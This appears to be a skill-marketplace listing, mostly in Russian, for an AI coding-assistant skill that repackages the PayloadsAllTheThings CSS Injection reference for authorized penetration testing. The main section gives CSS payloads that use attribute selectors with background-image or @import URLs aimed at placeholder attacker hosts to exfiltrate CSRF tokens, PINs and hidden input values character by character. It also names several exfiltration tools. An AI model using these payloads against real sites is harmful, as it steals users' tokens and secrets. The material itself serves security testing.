payloads-css-injection
БесплатноБез исполняемых скриптовНе проверенCSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate…
от smartworldarafath★ 68 звёзд на GitHubОб этом скилле
CSS Injection Payloads
Source: PayloadsAllTheThings/CSS Injection Category:
payloads-web| Skill ID:payloads-css-injection
Overview
CSS injection payloads for data exfiltration, UI redress, and attribute value theft.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the CSS Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Workflow
1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
Full PATT Reference
CSS Injection
CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.
Summary
Tools
- hackvertor/blind-css-exfiltration - A tool to exfiltrate unknown web pages using Blind CSS.
- PortSwigger/css-exfiltration - Collection of CSS based exfiltration techniques.
- cgvwzq/css-scrollbar-attack - PoC for leaking text nodes via CSS injection using scrollbars.
- d0nutptr/sic - Sequential Import Chaining for advanced CSS exfiltration.
- adrgs/fontleak - Tool for fast exfiltration of text using only CSS and Ligatures.
Methodology
CSS Selectors
CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
input[value^=a](prefix attribute selector): Selects elements where the value starts with "a".input[value$=a](suffix attribute selector): Selects elements where the value ends with "a".input[value*=a](substring attribute selector): Selects elements where the value contains "a".
Exfiltration via Background Image
When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
input[value^="TOKEN_012"] {
background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
input[name="pin"][value="1234"] {
background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}
Tips:
- Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (
+or~) to style a visible element that appears after the hidden input.
input[name="csrf-token"][value^="a"] + input {
background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}
- Has Selector: The
:has()pseudo-class allows styling a parent element based on its children.
div:has(input[value="1337"]) {
background:url(/collectData?value=1337);
}
- Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g.,
background) and the suffix check to another (e.g.,list-style-imageorborder-image).
CSS Import at-rule
This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>
Установить payloads-css-injection в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
Вложенные файлы
FAQ
Что делает скилл payloads-css-injection?
CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes. A tool to exfiltrate unknown web pages using Blind CSS. Collection of CSS based exfiltration...
Как установить скилл payloads-css-injection?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл payloads-css-injection запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic